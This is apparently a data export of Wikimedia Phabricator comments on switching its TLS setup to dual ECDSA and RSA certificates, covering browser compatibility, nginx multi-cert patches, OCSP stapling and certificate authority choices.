- There are some browsers which we still care about which do not support ECDSA at all.  Notable on that list I believe are things like IE8/XP and Android 2.x, probably among a few others.  @faidon did some sampling on our traffic and saw that something like 94% of our client traffic is ECDSA capable in the overall, but clearly we're not going to deploy something that kills the other 6% :)
  - Because of the above, we'd have to have a way to support two different server-side keypairs in parallel, switching depending on client support and our cipher pref list between the ECDSA and RSA variant keys.
  - That (multiple certs w/ different algorithms) requires special server-side support that nginx currently lacks, but we've been testing a bit with the patches linked earlier in this ticket to enable that functionality.
  - Also, the multi-cert thing has some unknown interactions with OCSP Stapling (there is no explicit multi-cert support for `ssl_stapling_file` in the nginx patches yet).  I think I've found answers to that problem (that our offline staple-fetcher can do what the nginx fetcher appears to do: staple both in one OCSP response, assuming same OCSP URL and intermediate cert), but I need to do further verification work here.

As for the questions about whether ECDSA is better than RSA in the overall, and whether the available curves are good enough: I think those are matters of opinion yet, and there are multiple comparison angles.

On security issues, I lean towards thinking that ECDSA is better than RSA, and that while the available curves are not as theoretically strong as they could be (cf the safecurves link from @JanZerebecki above), they're still very strong, esp given the effective key size bump from RSA-2048 to ECC-256.  I know it's just a sort of sideways argument from authority, but Cloudflare likes it ( https://blog.cloudflare.com/ecdsa-the-digital-signature-algorithm-of-a-better-internet ), and in response to some of the notes in that article, our multi-cert patches require OpenSSL 1.0.2, so we'd get the fixes they mention from that as well.

On other fronts: Cloudflare's testing mirrors our own here: Signing on the server side gets approximately an order of magnitude faster with ECDSA, and the overall cert size sent during session negotiation is a couple hundred bytes shorter than equivalent RSA ones for now (could be more, eventually, with ECC intermediates and such as well).

Currently, I expect us to switch to dual ECDSA+RSA certs with the NIST 256 curve in the fairly near future, once we've worked out all the associated technical details above, and assuming no new snags in all of that crop up.",,,1435339625,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1.4285714285714286,0.2857142857142857,0.14285714285714285,0.0,0.5714285714285714,8.142857142857142,0.8571428571428571,0.14285714285714285,0.0,0.0,2.5714285714285716,1.5714285714285714,0.0,0.14285714285714285,0.42857142857142855,4.0,0.0,6.142857142857143,13.714285714285714,0.2857142857142857,1.2857142857142858,0.0,0.14285714285714285,0.0,0.2857142857142857,0.42857142857142855,0.14285714285714285,0.8571428571428571,0.42857142857142855,0.42857142857142855,0.0,6.714285714285714,1.8571428571428572,0.42857142857142855,0.14285714285714285,0.0,0.14285714285714285,0.0,0.2857142857142857,0.5714285714285714,0.2857142857142857,0.42857142857142855,0.8571428571428571,1.8571428571428572,0.0,0.7142857142857143,0.0,0.14285714285714285,0.2857142857142857,15.285714285714286,0.7142857142857143,1.5714285714285714,0.0,0.2857142857142857,0.2857142857142857,0.2857142857142857,0.0,0.2857142857142857,1.0,0.14285714285714285,0.7142857142857143,0.42857142857142855,0.0,0.42857142857142855,0.2857142857142857,0.14285714285714285,0.0,5.0,2.2857142857142856,9.857142857142858,1.7142857142857142,3.142857142857143,8.428571428571429,0.0,0.14285714285714285,0.0,0.0,2.5714285714285716,0.14285714285714285,2.2857142857142856,0.0,5.0,13.714285714285714,5.857142857142857,0.0,0.0,0.0,5.0,0.0,0.8571428571428571,1.1428571428571428,0.14285714285714285,1.4285714285714286,1.0,0.14285714285714285,0.0,3.984126984126984,0.7229437229437229,"So, to answer some of the above and recap where IRC conversations about this have gone lately:

- Yes, we're limited by TLS protocol support and browsers to only the NIST curves right now.  I think for major browser support over TLS, we're limited to the NIST 256 and 384 -bit curves.  GlobalSign (the CA we'd be using to issue) supports NIST 256, 384, and 512: URL
- We've acquired a live ECC key from GlobalSign already for our unified wildcard production cert, using the NIST 256 curve (CODE in CODE terms) in order to do some testing outside of production, but have not yet deployed that to production.  In rough terms, this is equivalent to a 3K RSA key, so it's better than the 2048 RSA's we have, at least on that one level of thinking about such things.
- There are some browsers which we still care about which do not support ECDSA at all.  Notable on that list I believe are things like IE8/XP and Android 2.x, probably among a few others. SCREEN_NAME did some sampling on our traffic and saw that something like 94% of our client traffic is ECDSA capable in the overall, but clearly we're not going to deploy something that kills the other 6% :)
  - Because of the above, we'd have to have a way to support two different server-side keypairs in parallel, switching depending on client support and our cipher pref list between the ECDSA and RSA variant keys.
  - That (multiple certs w/ different algorithms) requires special server-side support that nginx currently lacks, but we've been testing a bit with the patches linked earlier in this ticket to enable that functionality.
  - Also, the multi-cert thing has some unknown interactions with OCSP Stapling (there is no explicit multi-cert support for CODE in the nginx patches yet).  I think I've found answers to that problem (that our offline staple-fetcher can do what the nginx fetcher appears to do: staple both in one OCSP response, assuming same OCSP URL and intermediate cert), but I need to do further verification work here.

As for the questions about whether ECDSA is better than RSA in the overall, and whether the available curves are good enough: I think those are matters of opinion yet, and there are multiple comparison angles.

On security issues, I lean towards thinking that ECDSA is better than RSA, and that while the available curves are not as theoretically strong as they could be (cf the safecurves link fromSCREEN_NAME above), they're still very strong, esp given the effective key size bump from RSA-2048 to ECC-256.  I know it's just a sort of sideways argument from authority, but Cloudflare likes it ( URL ), and in response to some of the notes in that article, our multi-cert patches require OpenSSL 1.0.2, so we'd get the fixes they mention from that as well.

On other fronts: Cloudflare's testing mirrors our own here: Signing on the server side gets approximately an order of magnitude faster with ECDSA, and the overall cert size sent during session negotiation is a couple hundred bytes shorter than equivalent RSA ones for now (could be more, eventually, with ECC intermediates and such as well).

Currently, I expect us to switch to dual ECDSA+RSA certs with the NIST 256 curve in the fairly near future, once we've worked out all the associated technical details above, and assuming no new snags in all of that crop up."
482571,Switch to ECDSA hybrid certificates,"
@janzerebecki mentioned in https://gerrit.wikimedia.org/r/#/c/220377 :

> For the explanation of the current ordering see https://wiki.mozilla.org/Security/Server_Side_TLS#Prioritization_logic . (AES-GCM over AES because of security, AES128 over 256 because of speed while it seems it dosn't make security weaker as the weakest link is elsewhere.) For most clients out there it probably makes no difference if we order ECDSA over RSA first or only after the AES ordering. But theoretically it may make sense if 2k RSA is the weak link. Another argument for it is that latency because of bigger hand shake is more important than ongoing CPU cost.
> Moving to EC in general is I think a good idea, but then in practice we can not freely pick the best curve. HTTPS implementations are way behind openssh. Are we limited to secp256r1, secp384r1, secp521r1 (which is what https://www.ssllabs.com/ssltest/viewMyClient.html says my browser supports)? These are not evaluated on http://safecurves.cr.yp.to/ . Is there some assessment of these curves regarding the properties on safecurves? Where these generated in a nothing up my sleeve way? Sadly I don't have the time now to research this, so no vote either way from me.
",,,1435337614,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8,"SCREEN_NAME mentioned in URL :

QUOTE
QUOTE
"
480163,Switch to ECDSA hybrid certificates,"Change 220182 merged by BBlack:
Add Filipe da Silva's multicert patches, forward-ported

[[https://gerrit.wikimedia.org/r/220182]]",,,1435079773,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.875,0.9166666666666666,"Change 220182 merged by BBlack:
Add Filipe da Silva's multicert patches, forward-ported

[[GERRIT_URL]]"
480160,Switch to ECDSA hybrid certificates,"Change 220182 had a related patch set uploaded (by BBlack):
Add Filipe da Silva's multicert patches, forward-ported

[[https://gerrit.wikimedia.org/r/220182]]
",,,1435079625,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.774193548387097,0.9032258064516129,"Change 220182 had a related patch set uploaded (by BBlack):
Add Filipe da Silva's multicert patches, forward-ported

[[GERRIT_URL]]
"
477460,Switch to ECDSA hybrid certificates,"Status update: I've built on debian upstream's 1.9.1 package, patched to 1.9.2, and then forward-ported the latest variant of the multicert patches from http://mailman.nginx.org/pipermail/nginx-devel/2015-March/006734.html , that that's running on the test node (cp1008/pinkunicorn) with our prod config + reuseport enabled and seems basically ok.  This is just a local test build, not a real package to upload to our repo (but the patches are formed up in debian/patches/ cleanly for later reuse in a real package if we want).

I haven't yet tried to actually use the multi-cert patch functionality, but I suspect just from reading the patches, that it needs additional work to support ssl_stapling_file (which is what we use for stapling) to have different stapling response files per certificate.",,,1434650823,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.5,1.0,7.0,0.5,0.0,0.0,0.5,1.5,1.0,0.0,0.0,0.0,4.0,0.0,6.0,12.5,0.0,2.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,16.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,5.0,2.0,3.5,2.0,3.0,7.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,5.0,12.5,2.5,0.0,0.0,0.0,5.0,0.0,1.5,1.5,0.0,1.0,0.0,0.5,0.0,4.093333333333334,0.7866666666666666,"Status update: I've built on debian upstream's 1.9.1 package, patched to 1.9.2, and then forward-ported the latest variant of the multicert patches from URL , that that's running on the test node (cp1008/pinkunicorn) with our prod config + reuseport enabled and seems basically ok.  This is just a local test build, not a real package to upload to our repo (but the patches are formed up in debian/patches/ cleanly for later reuse in a real package if we want).

I haven't yet tried to actually use the multi-cert patch functionality, but I suspect just from reading the patches, that it needs additional work to support ssl_stapling_file (which is what we use for stapling) to have different stapling response files per certificate."
469618,Switch to ECDSA hybrid certificates,"Yeah, that's why we're blocking on dual-cert support in nginx (or other solution to the problem).  There's similar issues with e.g. Chrome on WinXP, so we won't be doing ECDSA until we can serve both certs in parallel to work around the issue.",,,1433476751,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,2.0,5.0,0.0,5.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,18.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5892857142857144,0.8392857142857143,"Yeah, that's why we're blocking on dual-cert support in nginx (or other solution to the problem).  There's similar issues with e.g. Chrome on WinXP, so we won't be doing ECDSA until we can serve both certs in parallel to work around the issue."
469576,Switch to ECDSA hybrid certificates,Let me just note that at least some of Cloudflare's ECDSA certificates are incompatible with Opera 12.x (which represents a bit more than 0.5% of our page views). Pages using them are completely inaccessible for Opera 12 users even after adding the certificate to the whitelist. Please make sure we do not accidentally lock out these users from our sites.,,,1433467744,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-4,True,1.0,0.0,1.0,0.0,1.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,16.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,1.0,4.0,0.0,7.0,16.0,6.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,3.0,3.0,1.0,1.0,0.0,4.417910447761194,0.8805970149253731,Let me just note that at least some of Cloudflare's ECDSA certificates are incompatible with Opera 12.x (which represents a bit more than 0.5% of our page views). Pages using them are completely inaccessible for Opera 12 users even after adding the certificate to the whitelist. Please make sure we do not accidentally lock out these users from our sites.
469575,Switch to ECDSA hybrid certificates,Let me just note that at least some of Cloudflare's ECDSA certificates are incompatible with Opera 12.x (which represents a bit more than 0.5% of our page views). Pages using them are completely inaccessible for Opera 12 users even after adding the certificate to the whitelist. Please make sure we do not accidentally block these users from our sites.,,,1433467680,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-4,True,2.0,0.0,2.0,0.0,2.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,17.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,2.0,5.0,0.0,8.0,15.0,6.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,3.0,3.0,2.0,2.0,0.0,4.454545454545454,0.8787878787878788,Let me just note that at least some of Cloudflare's ECDSA certificates are incompatible with Opera 12.x (which represents a bit more than 0.5% of our page views). Pages using them are completely inaccessible for Opera 12 users even after adding the certificate to the whitelist. Please make sure we do not accidentally block these users from our sites.
469567,Switch to ECDSA hybrid certificates,"Looks like someone may have already done the hard work, I just didn't google hard enough: http://forum.nginx.org/read.php?2,253440,257332#msg-257332 .  [[ https://phabricator.wikimedia.org/T96850 | We'd still have to roll our own package for now to do it, though ]].",,,1433466851,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-4,True,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,18.0,9.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.088888888888889,0.8222222222222222,"Looks like someone may have already done the hard work, I just didn't google hard enough: URL .  [[ URL | We'd still have to roll our own package for now to do it, though ]]."
467473,Switch to ECDSA hybrid certificates,"> Another alternative would be to try to finish the work of the original patch author and get it accepted upstream, with all of the stapling stuff sorted out.

You'd be doing the web community a very nice service if you went that route. I wonder if you could connect with someone at Cloudflare to collaborate on the patch, or at least giving it some feedback and review.",,,1433255553,,PHID-USER-nwkhxdtbsjfqvlzuuu66,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,False,,,-5,True,2.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,16.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,16.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,3.977777777777778,0.8888888888888888,"QUOTE

You'd be doing the web community a very nice service if you went that route. I wonder if you could connect with someone at Cloudflare to collaborate on the patch, or at least giving it some feedback and review."
467459,Switch to ECDSA hybrid certificates,"So, Globalsign announced the cert support here: https://www.globalsign.com/en/blog/elliptic-curve-cryptography/ , and it seems we can reissue current certs as ECC from the portal.  However, in talking this over on IRC, it seems like our earlier assumption of browsers supporting ECC being a subset of those supporting SNI is probably flawed.  At least one significant SNI-but-no-ECC case is known: Chrome on WinXP.

So, we might not be able to switch to ECC, unless we can deploy parallel ECC/RSA certs for the same server instance.  Apache has supported that for a while, but the patch to do it for nginx was never merged, primarily owing to complications in the patch's interactions with their internal OCSP Stapling fetch/verify code, which we're not using anyways (we fetch/verify externally and use `ssl_stapling_file` instead).

The last version of the patch was here: http://mailman.nginx.org/pipermail/nginx-devel/2013-October/004474.html , but the whole thread is worth reading if we decide to go down some variant of that path.  It doesn't apply cleanly to more-recent nginx versions, but it might be fairly trivial to port it forward, especially if we don't care about the stapling problems (we don't).  The downside is I'd really rather not put us in the boat of maintaining our own non-upstream nginx patches.  Another alternative would be to try to finish the work of the original patch author and get it accepted upstream, with all of the stapling stuff sorted out.",,,1433254823,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-5,True,0.6666666666666666,0.0,0.0,0.6666666666666666,2.0,6.666666666666667,2.0,0.0,0.0,1.0,2.0,1.6666666666666667,0.0,0.0,0.0,4.0,1.0,9.0,12.666666666666666,0.0,2.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,0.6666666666666666,1.0,5.0,1.0,2.3333333333333335,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,11.0,0.3333333333333333,1.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,5.333333333333333,3.3333333333333335,9.0,1.3333333333333333,2.3333333333333335,8.0,0.0,0.0,0.0,0.0,5.666666666666667,0.0,0.3333333333333333,0.0,6.666666666666667,12.666666666666666,4.333333333333333,0.0,0.0,0.0,6.666666666666667,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,3.0,0.6666666666666666,0.3333333333333333,0.0,3.8506944444444446,0.7291666666666666,"So, Globalsign announced the cert support here: URL , and it seems we can reissue current certs as ECC from the portal.  However, in talking this over on IRC, it seems like our earlier assumption of browsers supporting ECC being a subset of those supporting SNI is probably flawed.  At least one significant SNI-but-no-ECC case is known: Chrome on WinXP.

So, we might not be able to switch to ECC, unless we can deploy parallel ECC/RSA certs for the same server instance.  Apache has supported that for a while, but the patch to do it for nginx was never merged, primarily owing to complications in the patch's interactions with their internal OCSP Stapling fetch/verify code, which we're not using anyways (we fetch/verify externally and use CODE instead).

The last version of the patch was here: URL , but the whole thread is worth reading if we decide to go down some variant of that path.  It doesn't apply cleanly to more-recent nginx versions, but it might be fairly trivial to port it forward, especially if we don't care about the stapling problems (we don't).  The downside is I'd really rather not put us in the boat of maintaining our own non-upstream nginx patches.  Another alternative would be to try to finish the work of the original patch author and get it accepted upstream, with all of the stapling stuff sorted out."
462121,Switch to ECDSA hybrid certificates,"We have some hints now that we may get to move on an ECDSA solution sometime in June.  More details later on, but just noting for planning/estimation.",,,1432246863,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-6,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,15.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,18.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.757575757575758,0.9393939393939394,"We have some hints now that we may get to move on an ECDSA solution sometime in June.  More details later on, but just noting for planning/estimation."
406041,Switch to ECDSA hybrid certificates,The response from our GlobalSign rep is that they don't have a firm timeline and can't commit to a Q1 rollout yet.,,,1422953870,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,12.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.72,0.92,The response from our GlobalSign rep is that they don't have a firm timeline and can't commit to a Q1 rollout yet.
399970,Switch to ECDSA hybrid certificates,"We've evaluated a bunch of certificate vendors & solutions (most of them, I'd say) and personally, I've been aware of SSLMate since its inception. Unfortunately we have a number of unique requirements that very few CAs are able to deliver, such as issuing certificates with multiple wildcards for different TLDs, explicitly setting notBefore/notAfter etc. and that's just from the technical side (we've had legal reject the CPS of at least one CA). We very recently switched our business to GlobalSign and we did so with the expectation of ECDSA availability this calendar quarter, so we're good on this front I'd say. So far :)",,,1421304970,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-24,True,0.5,0.0,1.5,0.0,0.0,6.5,1.0,0.0,0.0,0.0,0.5,4.0,0.0,0.0,0.0,7.0,0.0,8.5,11.5,0.0,0.5,0.0,0.5,0.0,1.5,0.0,0.0,1.0,0.0,1.5,0.0,4.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,4.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,9.0,2.0,2.5,6.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,8.0,11.5,4.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.5,1.0,0.0,1.5,1.5,4.166666666666666,0.8492063492063492,"We've evaluated a bunch of certificate vendors & solutions (most of them, I'd say) and personally, I've been aware of SSLMate since its inception. Unfortunately we have a number of unique requirements that very few CAs are able to deliver, such as issuing certificates with multiple wildcards for different TLDs, explicitly setting notBefore/notAfter etc. and that's just from the technical side (we've had legal reject the CPS of at least one CA). We very recently switched our business to GlobalSign and we did so with the expectation of ECDSA availability this calendar quarter, so we're good on this front I'd say. So far :)"
491054,Switch to ECDSA hybrid certificates,"Have you looked at SSLMate for a CA (reseller)? https://sslmate.com/

I've been using them at home and at work (https://myra.treasury.gov uses a cert by them), and their CLI based approach to certificate management is a total joy. They're also quite reasonably priced, and extremely responsive.

I also bring them up because they're [[ https://github.com/SSLMate/sslmate/issues/6 | rolling out ECDSA certificates ]] shortly, and I'm sure that for Wikipedia they'd turn on access for you right now.",,,1436818761,,PHID-USER-nwkhxdtbsjfqvlzuuu66,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,1.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,14.0,2.0,4.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,14.0,7.0,1.0,0.0,0.0,13.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,1.0,3.642105263157895,0.7052631578947368,"Have you looked at SSLMate for a CA (reseller)? URL

I've been using them at home and at work (URL uses a cert by them), and their CLI based approach to certificate management is a total joy. They're also quite reasonably priced, and extremely responsive.

I also bring them up because they're [[ URL | rolling out ECDSA certificates ]] shortly, and I'm sure that for Wikipedia they'd turn on access for you right now."
399935,Switch to ECDSA hybrid certificates,"Have you looked at SSLMate for a CA (reseller)? https://sslmate.com/

I've been using them at home and at work (https://myra.treasury.gov uses a cert by them), and their CLI based approach to certificate management is a total joy. They're also quite reasonably priced, and extremely responsive.

I also bring them up because they're [[ https://github.com/SSLMate/sslmate/issues/6 rolling out ECDSA certificates ]] shortly, and I'm sure that for Wikipedia they'd turn on access for you right now.",,,1421296822,,PHID-USER-nwkhxdtbsjfqvlzuuu66,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,1.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,14.0,2.0,4.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,14.0,7.0,1.0,0.0,0.0,13.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,1.0,3.6702127659574466,0.7021276595744681,"Have you looked at SSLMate for a CA (reseller)? URL

I've been using them at home and at work (URL uses a cert by them), and their CLI based approach to certificate management is a total joy. They're also quite reasonably priced, and extremely responsive.

I also bring them up because they're [[ URL rolling out ECDSA certificates ]] shortly, and I'm sure that for Wikipedia they'd turn on access for you right now."
